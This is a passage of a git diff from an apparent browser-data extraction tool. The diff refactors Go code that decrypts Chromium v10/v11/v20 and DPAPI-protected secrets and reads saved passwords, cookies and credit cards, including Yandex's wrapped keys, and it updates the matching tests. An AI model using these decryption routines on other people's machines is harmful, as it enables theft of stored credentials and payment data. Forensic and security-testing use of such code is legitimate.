crypto.AESCBCEncrypt(kEmptyKey, chromiumCBCIV, plaintext) + require.NoError(t, err) + ciphertext := append([]byte("v11"), encrypted...) + + wrongKey := bytes.Repeat([]byte{0xAA}, 16) + got, err := decryptCBC(wrongKey, ciphertext) + require.NoError(t, err) + assert.Equal(t, plaintext, got) +} + +func TestDecrypt_ShortCiphertext(t *testing.T) { + // GCM minimum is prefix(3)+nonce(12) = 15 bytes. + _, err := decryptGCM(gcmKey, []byte("v10nonce11")) + require.ErrorIs(t, err, errShortCiphertext) + + // CBC minimum is prefix(3)+block(16) = 19 bytes. + _, err = decryptCBC(cbcKey, []byte("v11short")) + require.ErrorIs(t, err, errShortCiphertext) +} diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go index f331f4a..5884bba 100644 --- a/browser/chromium/decrypt.go +++ b/browser/chromium/decrypt.go @@ -3,50 +3,49 @@ package chromium import ( "fmt" - "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) // decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version -// prefix to the matching tier in masterKeys: +// prefix to the matching version in masterKeys: // -// - v10 → masterKeys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key) -// - v11 → masterKeys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there) -// - v20 → masterKeys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there) +// - v10 → masterKeys[masterkey.V10] (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key) +// - v11 → masterKeys[masterkey.V11] (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there) +// - v20 → masterKeys[masterkey.V20] (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there) // // A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode // changes), so every applicable key must be populated upstream for lossless extraction. Missing -// tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as +// version keys surface as decrypt errors at the ciphertext level; the extract layer treats those as // empty plaintexts rather than fatal errors. -func decryptValue(masterKeys masterkey.MasterKeys, ciphertext []byte) ([]byte, error) { +func decryptValue(masterKeys masterkey.Set, ciphertext []byte) ([]byte, error) { if len(ciphertext) == 0 { return nil, nil } - version := crypto.DetectVersion(ciphertext) + version := detectVersion(ciphertext) switch version { - case crypto.CipherV10: + case cipherV10: // v10's cipher depends on the platform that sealed it: a 32-byte AES-256 key means GCM // (Windows), a 16-byte AES-128 key means CBC (macOS/Linux). Dispatching on key length keeps // cross-host decryption OS-independent: a 32-byte key dumped on Windows decrypts here on macOS. - if len(masterKeys.V10) == 32 { - return crypto.DecryptChromiumGCM(masterKeys.V10, ciphertext) + if len(masterKeys[masterkey.V10]) == 32 { + return decryptGCM(masterKeys[masterkey.V10], ciphertext) } - return crypto.DecryptChromiumCBC(masterKeys.V10, ciphertext) - case crypto.CipherV11: + return decryptCBC(masterKeys[masterkey.V10], ciphertext) + case cipherV11: // v11 is Linux-only AES-CBC; same algorithm as Linux v10 but the key comes from the keyring - // (kV11Key) rather than peanuts (kV10Key), so both tiers need distinct keys. - return crypto.DecryptChromiumCBC(masterKeys.V11, ciphertext) - case crypto.CipherV20: + // (kV11Key) rather than peanuts (kV10Key), so both versions need distinct keys. + return decryptCBC(masterKeys[masterkey.V11], ciphertext) + case cipherV20: // v20 is cross-platform AES-GCM (Chrome 127+ ABE); same wire layout as Windows v10. - return crypto.DecryptChromiumGCM(masterKeys.V20, ciphertext) - case crypto.CipherV12: + return decryptGCM(masterKeys[masterkey.V20], ciphertext) + case cipherV12: // Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 + // AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here // to surface an actionable "known gap" error rather than the generic "unsupported" one. return nil, fmt.Errorf("unsupported cipher version v12 (Chromium SecretPortal / Flatpak; not yet implemented)") - case crypto.CipherDPAPI: - return crypto.DecryptDPAPI(ciphertext) + case cipherDPAPI: + return masterkey.DecryptDPAPI(ciphertext) default: return nil, fmt.Errorf("unsupported cipher version: %s", version) } diff --git a/browser/chromium/decrypt_mixed_test.go b/browser/chromium/decrypt_mixed_test.go index 23885af..7f8208f 100644 --- a/browser/chromium/decrypt_mixed_test.go +++ b/browser/chromium/decrypt_mixed_test.go @@ -7,8 +7,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/crypto" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) // TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on @@ -33,7 +33,7 @@ func TestDecryptValue_MixedTier(t *testing.T) { v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...) t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) { - got, err := decryptValue(masterkey.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V10: k10, masterkey.V11: k11, masterkey.V20: k20}, v20Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) }) @@ -41,20 +41,20 @@ func TestDecryptValue_MixedTier(t *testing.T) { t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) { // If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this // would succeed. Proves the router uses prefix-based selection, not first-usable-key. - _, err := decryptValue(masterkey.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext) + _, err := decryptValue(masterkey.Set{masterkey.V10: k20, masterkey.V11: k20, masterkey.V20: k10}, v20Ciphertext) require.Error(t, err) }) t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) { // The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved, // v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20. - got, err := decryptValue(masterkey.MasterKeys{V20: k20}, v20Ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V20: k20}, v20Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) }) t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) { - _, err := decryptValue(masterkey.MasterKeys{V10: k10, V11: k11}, v20Ciphertext) + _, err := decryptValue(masterkey.Set{masterkey.V10: k10, masterkey.V11: k11}, v20Ciphertext) require.Error(t, err) }) } diff --git a/browser/chromium/decrypt_test.go b/browser/chromium/decrypt_test.go index 03eb0e9..25874d7 100644 --- a/browser/chromium/decrypt_test.go +++ b/browser/chromium/decrypt_test.go @@ -9,8 +9,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/crypto" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) func TestDecryptValue_V10(t *testing.T) { @@ -40,7 +40,7 @@ func TestDecryptValue_V10(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - got, err := decryptValue(masterkey.MasterKeys{V10: tt.key}, v10Ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V10: tt.key}, v10Ciphertext) if tt.wantErrMsg != "" { require.Error(t, err) assert.Contains(t, err.Error(), tt.wantErrMsg) @@ -61,7 +61,7 @@ func TestDecryptValue_V11(t *testing.T) { v11Ciphertext := append([]byte("v11"), cbcEncrypted...) // v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts). - got, err := decryptValue(masterkey.MasterKeys{V11: testAESKey}, v11Ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V11: testAESKey}, v11Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } @@ -87,7 +87,7 @@ func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) { require.NoError(t, err) v11Ciphertext := append([]byte("v11"), v11Enc...) - mk := masterkey.MasterKeys{V10: k10, V11: k11} + mk := masterkey.Set{masterkey.V10: k10, masterkey.V11: k11} t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) { got, err := decryptValue(mk, v10Ciphertext) @@ -102,7 +102,7 @@ func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) { }) t.Run("swapped keys fail both directions", func(t *testing.T) { - swapped := masterkey.MasterKeys{V10: k11, V11: k10} + swapped := masterkey.Set{masterkey.V10: k11, masterkey.V11: k10} _, err := decryptValue(swapped, v10Ciphertext) require.Error(t, err, "v10 with V11's key must fail") _, err = decryptValue(swapped, v11Ciphertext) diff --git a/browser/chromium/decrypt_v20_test.go b/browser/chromium/decrypt_v20_test.go index 5c3306e..9eacb9d 100644 --- a/browser/chromium/decrypt_v20_test.go +++ b/browser/chromium/decrypt_v20_test.go @@ -6,8 +6,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/crypto" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) // TestDecryptValue_V20 is cross-platform because v20's ciphertext format @@ -24,14 +24,14 @@ func TestDecryptValue_V20(t *testing.T) { // v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag ciphertext := append([]byte("v20"), append(nonce, gcm...)...) - got, err := decryptValue(masterkey.MasterKeys{V20: testAESKey}, ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V20: testAESKey}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } func TestDecryptValue_V20_ShortCiphertext(t *testing.T) { // Missing nonce (prefix only) must error, not panic. - _, err := decryptValue(masterkey.MasterKeys{V20: testAESKey}, []byte("v20")) + _, err := decryptValue(masterkey.Set{masterkey.V20: testAESKey}, []byte("v20")) require.Error(t, err) } @@ -47,7 +47,7 @@ func TestDecryptValue_V10_CrossHostGCM(t *testing.T) { require.NoError(t, err) ciphertext := append([]byte("v10"), append(nonce, gcm...)...) - got, err := decryptValue(masterkey.MasterKeys{V10: key32}, ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V10: key32}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } diff --git a/browser/chromium/decrypt_windows_test.go b/browser/chromium/decrypt_windows_test.go index 8002138..140eaa6 100644 --- a/browser/chromium/decrypt_windows_test.go +++ b/browser/chromium/decrypt_windows_test.go @@ -11,8 +11,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/crypto" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) // encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData). @@ -66,7 +66,7 @@ func TestDecryptValue_V10_Windows(t *testing.T) { // v10 format on Windows: "v10" + nonce(12) + encrypted ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...) - got, err := decryptValue(masterkey.MasterKeys{V10: key32}, ciphertext) + got, err := decryptValue(masterkey.Set{masterkey.V10: key32}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } @@ -80,7 +80,7 @@ func TestDecryptValue_DPAPI_Windows(t *testing.T) { require.NotEmpty(t, encrypted) // No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed. - got, err := decryptValue(masterkey.MasterKeys{}, encrypted) + got, err := decryptValue(masterkey.Set{}, encrypted) require.NoError(t, err) assert.Equal(t, plaintext, got) } diff --git a/browser/chromium/extract_cookie.go b/browser/chromium/extract_cookie.go index cb81f83..3fdcff5 100644 --- a/browser/chromium/extract_cookie.go +++ b/browser/chromium/extract_cookie.go @@ -5,10 +5,10 @@ import ( "crypto/sha256" "database/sql" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" "github.com/moond4rk/hackbrowserdata/internal/sqlitex" "github.com/moond4rk/hackbrowserdata/internal/timeconv" - "github.com/moond4rk/hackbrowserdata/masterkey" ) const ( @@ -18,7 +18,7 @@ const ( countCookieQuery = `SELECT COUNT(*) FROM cookies` ) -func extractCookies(masterKeys masterkey.MasterKeys, path string) ([]record.Cookie, error) { +func extractCookies(masterKeys masterkey.Set, path string) ([]record.Cookie, error) { cookies, err := sqlitex.QueryRows(path, false, defaultCookieQuery, func(rows *sql.Rows) (record.Cookie, error) { var ( diff --git a/browser/chromium/extract_cookie_test.go b/browser/chromium/extract_cookie_test.go index c359a9e..7f0f7d5 100644 --- a/browser/chromium/extract_cookie_test.go +++ b/browser/chromium/extract_cookie_test.go @@ -7,7 +7,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) func setupCookieDB(t *testing.T) string { @@ -21,7 +21,7 @@ func setupCookieDB(t *testing.T) string { func TestExtractCookies(t *testing.T) { path := setupCookieDB(t) - got, err := extractCookies(masterkey.MasterKeys{}, path) + got, err := extractCookies(masterkey.Set{}, path) require.NoError(t, err) require.Len(t, got, 2) diff --git a/browser/chromium/extract_creditcard.go b/browser/chromium/extract_creditcard.go index 44a5fcc..9d1d047 100644 --- a/browser/chromium/extract_creditcard.go +++ b/browser/chromium/extract_creditcard.go @@ -5,11 +5,11 @@ import ( "encoding/json" "errors" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/internal/crypto" "github.com/moond4rk/hackbrowserdata/internal/log" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" "github.com/moond4rk/hackbrowserdata/internal/sqlitex" - "github.com/moond4rk/hackbrowserdata/masterkey" ) const ( @@ -36,7 +36,7 @@ type yandexPrivateData struct { SecretComment string `json:"secret_comment"` } -func extractCreditCards(masterKeys masterkey.MasterKeys, path string) ([]record.CreditCard, error) { +func extractCreditCards(masterKeys masterkey.Set, path string) ([]record.CreditCard, error) { cards, err := sqlitex.QueryRows(path, false, defaultCreditCardQuery, func(rows *sql.Rows) (record.CreditCard, error) { var guid, name, month, year, nickname, address string @@ -62,8 +62,8 @@ func extractCreditCards(masterKeys masterkey.MasterKeys, path string) ([]record. } // extractYandexCreditCards reads the records table (not Chromium's credit_cards). AAD = guid. -func extractYandexCreditCards(masterKeys masterkey.MasterKeys, path string) ([]record.CreditCard, error) { - dataKey, err := loadYandexDataKey(path, masterKeys.V10) +func extractYandexCreditCards(masterKeys masterkey.Set, path string) ([]record.CreditCard, error) { + dataKey, err := loadYandexDataKey(path, masterKeys[masterkey.V10]) if err != nil { if errors.Is(err, errYandexMasterPasswordSet) { log.Warnf("%s: %v", path, err) diff --git a/browser/chromium/extract_creditcard_test.go b/browser/chromium/extract_creditcard_test.go index 0dff488..69406c7 100644 --- a/browser/chromium/extract_creditcard_test.go +++ b/browser/chromium/extract_creditcard_test.go @@ -7,7 +7,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/masterkey" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" ) func setupCreditCardDB(t *testing.T) string { @@ -21,7 +21,7 @@ func setupCreditCardDB(t *testing.T) string { func TestExtractCreditCards(t *testing.T) { path := setupCreditCardDB(t) - got, err := extractCreditCards(masterkey.MasterKeys{}, path) + got, err := extractCreditCards(masterkey.Set{}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -80,7 +80,7 @@ func TestExtractYandexCreditCards(t *testing.T) { }, ) - got, err := extractYandexCreditCards(masterkey.MasterKeys{V10: masterKey}, path) + got, err := extractYandexCreditCards(masterkey.Set{masterkey.V10: masterKey}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -128,7 +128,7 @@ func TestExtractYandexCreditCards_WrongMasterKey(t *testing.T) { yandexCreditCard{GUID: "g1", FullCardNumber: "4111"}, ) - _, err := extractYandexCreditCards(masterkey.MasterKeys{V10: wrongKey}, path) + _, err := extractYandexCreditCards(masterkey.Set{masterkey.V10: wrongKey}, path) require.Error(t, err) } diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go index b661a63..5409b78 100644 --- a/browser/chromium/extract_password.go +++ b/browser/chromium/extract_password.go @@ -4,12 +4,12 @@ import ( "database/sql" "errors" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/internal/crypto" "github.com/moond4rk/hackbrowserdata/internal/log" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" "github.com/moond4rk/hackbrowserdata/internal/sqlitex" "github.com/moond4rk/hackbrowserdata/internal/timeconv" - "github.com/moond4rk/hackbrowserdata/masterkey" ) const ( @@ -23,7 +23,7 @@ const ( // appendPasswords merges another login DB into dst. Entries are kept even when an identical // credential already exists — the Store field records which DB each one came from. -func appendPasswords(masterKeys masterkey.MasterKeys, path string, store record.Store, dst []record.Login) ([]record.Login, error) { +func appendPasswords(masterKeys masterkey.Set, path string, store record.Store, dst []record.Login) ([]record.Login, error) { logins, err := extractPasswords(masterKeys, path, store) if err != nil { return dst, err @@ -31,11 +31,11 @@ func appendPasswords(masterKeys masterkey.MasterKeys, path string, store record. return append(dst, logins...), nil } -func extractPasswords(masterKeys masterkey.MasterKeys, path string, store record.Store) ([]record.Login, error) { +func extractPasswords(masterKeys masterkey.Set, path string, store record.Store) ([]record.Login, error) { return extractPasswordsWithQuery(masterKeys, path, store, defaultLoginQuery) } -func extractPasswordsWithQuery(masterKeys masterkey.MasterKeys, path string, store record.Store, query string) ([]record.Login, error) { +func extractPasswordsWithQuery(masterKeys masterkey.Set, path string, store record.Store, query string) ([]record.Login, error) { logins, err := sqlitex.QueryRows(path, false, query, func(rows *sql.Rows) (record.Login, error) { var url, username string @@ -61,8 +61,8 @@ func extractPasswordsWithQuery(masterKeys masterkey.MasterKeys, path string, sto // extractYandexPasswords walks Ya Passman Data. // Note: URL column is origin_url — it's what the per-row AAD is computed over (not action_url). -func extractYandexPasswords(masterKeys masterkey.MasterKeys, path string) ([]record.Login, error) { - dataKey, err := loadYandexDataKey(path, masterKeys.V10) +func extractYandexPasswords(masterKeys masterkey.Set, path string) ([]record.Login, error) { + dataKey, err := loadYandexDataKey(path, masterKeys[masterkey.V10]) if err != nil { if errors.Is(err, errYandexMasterPasswordSet) { log.Warnf("%s: %v", path, err) diff --git a/browser/chromium/extract_password_test.go b/browser/chromium/extract_password_test.go index bd4be21..7e6dc96 100644 --- a/browser/chromium/extract_password_test.go +++ b/browser/chromium/extract_password_test.go @@ -8,8 +8,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" - "github.com/moond4rk/hackbrowserdata/masterkey" ) func setupLoginDB(t *testing.T) string { @@ -23,7 +23,7 @@ func setupLoginDB(t *testing.T) string { func TestExtractPasswords(t *testing.T) { path := setupLoginDB(t) - got, err := extractPasswords(masterkey.MasterKeys{}, path, record.StoreLocal) + got, err := extractPasswords(masterkey.Set{}, path, record.StoreLocal) require.NoError(t, err) require.Len(t, got, 2) @@ -46,7 +46,7 @@ func TestExtractPasswords_UndecryptableBlobStillListed(t *testing.T) { insertLogin("https://enc.com", "https://enc.com/login", "carol", "763130deadbeef", 13350000000000000), ) - got, err := extractPasswords(masterkey.MasterKeys{}, path, record.StoreAccount) + got, err := extractPasswords(masterkey.Set{}, path, record.StoreAccount) require.NoError(t, err) require.Len(t, got, 1) @@ -88,7 +88,7 @@ func TestExtractYandexPasswords(t *testing.T) { }, ) - got, err := extractYandexPasswords(masterkey.MasterKeys{V10: masterKey}, path) + got, err := extractYandexPasswords(masterkey.Set{masterkey.V10: masterKey}, path) require.NoError(t, err) require.Len(t, got, 2) @@ -111,7 +111,7 @@ func TestExtractYandexPasswords_MasterPasswordSkipped(t *testing.T) { }, ) - got, err := extractYandexPasswords(masterkey.MasterKeys{V10: masterKey}, path) + got, err := extractYandexPasswords(masterkey.Set{masterkey.V10: masterKey}, path) require.NoError(t, err) assert.Empty(t, got, "master-password profiles should be skipped in v1") } @@ -130,7 +130,7 @@ func TestExtractYandexPasswords_WrongMasterKey(t *testing.T) { // A wrong master key fails at the intermediate step, surfacing as an error // from the extractor. - _, err := extractYandexPasswords(masterkey.MasterKeys{V10: wrongKey}, path) + _, err := extractYandexPasswords(masterkey.Set{masterkey.V10: wrongKey}, path) require.Error(t, err) } diff --git a/browser/chromium/profile.go b/browser/chromium/profile.go index 6889b5a..5d05217 100644 --- a/browser/chromium/profile.go +++ b/browser/chromium/profile.go @@ -7,8 +7,8 @@ import ( "github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/internal/category" "github.com/moond4rk/hackbrowserdata/internal/log" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" - "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -33,7 +33,7 @@ func (p *profile) label() string { return p.browserName + "/" + p.name() } // extract copies the profile's source files to a temp directory and extracts the // requested categories, decrypting with the installation's master keys. -func (p *profile) extract(masterKeys masterkey.MasterKeys, categories []category.Category) *types.BrowserData { +func (p *profile) extract(masterKeys masterkey.Set, categories []category.Category) *types.BrowserData { session, err := filemanager.NewSession() if err != nil { log.Debugf("new session for %s: %v", p.label(), err) @@ -152,7 +152,7 @@ func (p *profile) acquireFiles(session *filemanager.Session, categories []catego // extractCategory calls the appropriate extract function for a category. A custom // extractor (registered via extractorsForKind) takes precedence over the switch. -func (p *profile) extractCategory(data *types.BrowserData, cat category.Category, masterKeys masterkey.MasterKeys, path string) { +func (p *profile) extractCategory(data *types.BrowserData, cat category.Category, masterKeys masterkey.Set, path string) { if ext, ok := p.extractors[cat]; ok { if err := ext.extract(masterKeys, path, data); err != nil { log.Debugf("extract %s for %s: %v", cat, p.label(), err) diff --git a/browser/chromium/profile_test.go b/browser/chromium/profile_test.go index 67b6010..bad5705 100644 --- a/browser/chromium/profile_test.go +++ b/browser/chromium/profile_test.go @@ -11,8 +11,8 @@ import ( "github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/internal/category" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" - "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -48,7 +48,7 @@ func TestExtractCategory_CustomExtractor(t *testing.T) { } data := &types.BrowserData{} - p.extractCategory(data, category.Extension, masterkey.MasterKeys{}, "unused-path") + p.extractCategory(data, category.Extension, masterkey.Set{}, "unused-path") assert.True(t, called, "custom extractor should be called") require.Len(t, data.Extensions, 1) @@ -67,7 +67,7 @@ func TestExtractCategory_DefaultFallback(t *testing.T) { } data := &types.BrowserData{} - p.extractCategory(data, category.History, masterkey.MasterKeys{}, path) + p.extractCategory(data, category.History, masterkey.Set{}, path) require.Len(t, data.Histories, 1) assert.Equal(t, "Example", data.Histories[0].Title) @@ -111,7 +111,7 @@ func TestExtractAndCountPasswords_MergesLocalAndAccountDatabases(t *testing.T) { kind: types.Chromium, sourcePaths: resolveSourcePaths(chromiumSources, profileDir), } - data := p.extract(masterkey.MasterKeys{}, []category.Category{category.Password}) + data := p.extract(masterkey.Set{}, []category.Category{category.Password}) require.Len(t, data.Passwords, 2) // Account rows are emitted after local ones; the exporter's stable sort relies on that when timestamps tie. assert.Equal(t, "local-user", data.Passwords[0].Username) @@ -136,7 +136,7 @@ func TestExtractPasswords_IdenticalCredentialInBothStoresKeepsBoth(t *testing.T) kind: types.Chromium, sourcePaths: resolveSourcePaths(chromiumSources, profileDir), } - data := p.extract(masterkey.MasterKeys{}, []category.Category{category.Password}) + data := p.extract(masterkey.Set{}, []category.Category{category.Password}) require.Len(t, data.Passwords, 2) stores := []record.Store{data.Passwords[0].Store, data.Passwords[1].Store} @@ -158,7 +158,7 @@ func TestExtractAndCountPasswords_AccountDatabaseOnly(t *testing.T) { kind: types.Chromium, sourcePaths: resolveSourcePaths(chromiumSources, profileDir), } - data := p.extract(masterkey.MasterKeys{}, []category.Category{category.Password}) + data := p.extract(masterkey.Set{}, []category.Category{category.Password}) require.Len(t, data.Passwords, 1) assert.Equal(t, "account-user", data.Passwords[0].Username) diff --git a/browser/chromium/source.go b/browser/chromium/source.go index e158049..7ae317c 100644 --- a/browser/chromium/source.go +++ b/browser/chromium/source.go @@ -2,8 +2,8 @@ package chromium import ( "github.com/moond4rk/hackbrowserdata/internal/category" + "github.com/moond4rk/hackbrowserdata/internal/masterkey" "github.com/moond4rk/hackbrowserdata/internal/record" - "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -53,15 +53,15 @@ func sourcesForKind(kind types.BrowserKind) map[category.Category][]sourcePath { // switch logic, enabling browser-specific parsing (e.g. Opera's opsettings // for extensions, Yandex's credit card table, QBCI-encrypted bookmarks). type categoryExtractor interface { - extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error + extract(masterKeys masterkey.Set, path string, data *types.BrowserData) error } // passwordExtractor wraps a custom password extract function. type passwordExtractor struct { - fn func(masterKeys masterkey.MasterKeys, path string) ([]record.Login, error) + fn func(masterKeys masterkey.Set, path string) ([]record.Login, error) } -func (e passwordExtractor) extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error { +func (e passwordExtractor) extract(masterKeys masterkey.Set, path string, data *types.BrowserData) error { var err error data.Passwords, err = e.fn(masterKeys, path) return err @@ -72,7 +72,7 @@ type extensionExtractor struct { fn func(path string) ([]record.Extension, error) } -func (e extensionExtractor) extract(_ masterkey.MasterKeys, path string, data *types.BrowserData) error { +func (e extensionExtractor) extract(_ masterkey.Set, path string, data *types.BrowserData) error { var err error data.Extensions, err = e.fn(path) return err @@ -81,10 +81,10 @@ func (e extensionExtractor) extract(_ masterkey.MasterKeys, path string, data *t // creditCardExtractor wraps a custom credit-card extract function, used by Yandex whose Ya Credit Cards DB stores // rows as records(guid, public_data, private_data) with JSON blobs rather than Chromium's flat credit_cards table. type creditCardExtractor struct { - fn func(masterKeys masterkey.MasterKeys, path string) ([]record.CreditCard, error) + fn func(masterKeys masterkey.Set, path string) ([]record.CreditCard, error) } -func (e creditCardExtractor) extract(masterKeys masterkey.MasterKeys, path string, data *types.BrowserData) error { +func (e creditCardExtractor) extract(masterKeys masterkey.Set, path string, data *types.BrowserData) error { var err error data.CreditCards, err = e.fn(masterKeys, path) return err diff --git a/browser/chromium/yandex.go b/browser/chromium/yandex.go index 1eb9d5d..d7f5bdb 100644 --- a/browser/chromium/yandex.go +++ b/browser/chromium/yandex.go @@ -10,7 +10,6 @@ import ( _ "modernc.org/sqlite" - "github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/internal/category" ) @@ -99,7 +98,7 @@ func loadYandexDataKey(dbPath string, masterKey []byte) ([]byte, error) { return nil, fmt.Errorf("read local_encryptor_data: %w", err) } - dataKey, err := crypto.DecryptYandexIntermediateKey(masterKey, blob) + dataKey, err := decryptYandexIntermediateKey(masterKey, blob) if err != nil { return nil, fmt.Errorf("derive yandex data key: %w", err) } diff --git a/crypto/yandex.go b/browser/chromium/yandex_key.go similarity index 81% rename from crypto/yandex.go rename to browser/chromium/yandex_key.go index 0ee3ddb..618ace6 100644 --- a/crypto/yandex.go +++ b/browser/chromium/yandex_key.go @@ -1,8 +1,10 @@ -package crypto +package chromium import ( "bytes" "errors" + + "github.com/moond4rk/hackbrowserdata/internal/crypto" ) // yandexSignature is the protobuf wire-format header (field1 varint=1, field2 len=32) on every wrapped key. @@ -22,8 +24,8 @@ var ( errYandexKeyTooShort = errors.New("yandex: decrypted intermediate key shorter than 32 bytes") ) -// DecryptYandexIntermediateKey unwraps the per-DB data key from meta.local_encryptor_data. -func DecryptYandexIntermediateKey(masterKey, blob []byte) ([]byte, error) { +// decryptYandexIntermediateKey unwraps the per-DB data key from meta.local_encryptor_data. +func decryptYandexIntermediateKey(masterKey, blob []byte) ([]byte, error) { idx := bytes.Index(blob, localEncryptorPrefix) if idx < 0 { return nil, errYandexMarkerNotFound @@ -33,7 +35,7 @@ func DecryptYandexIntermediateKey(masterKey, blob []byte) ([]byte, error) { return nil, errYandexBlobShort } - plaintext, err := AESGCMDecryptBlob(masterKey, payload[:yandexIntKeyBlobLen], nil) + plaintext, err := crypto.AESGCMDecryptBlob(masterKey, payload[:yandexIntKeyBlobLen], nil) if err != nil { return nil, err } diff --git a/crypto/yandex_test.go b/browser/chromium/yandex_key_test.go similarity index 72% rename from crypto/yandex_test.go rename to browser/chromium/yandex_key_test.go index 52b803c..6d2e77d 100644 --- a/crypto/yandex_test.go +++ b/browser/chromium/yandex_key_test.go @@ -1,4 +1,4 @@ -package crypto +package chromium import ( "bytes" @@ -49,7 +49,7 @@ func TestDecryptYandexIntermediateKey_RoundTrip(t *testing.T) { dataKey := bytes.Repeat([]byte{0x22}, yandexDataKeyLen) blob := buildLocalEncryptorBlob(t, masterKey, dataKey) - got, err := DecryptYandexIntermediateKey(masterKey, blob) + got, err := decryptYandexIntermediateKey(masterKey, blob) if err != nil { t.Fatalf("DecryptYandexIntermediateKey: %v", err) } @@ -59,7 +59,7 @@ func TestDecryptYandexIntermediateKey_RoundTrip(t 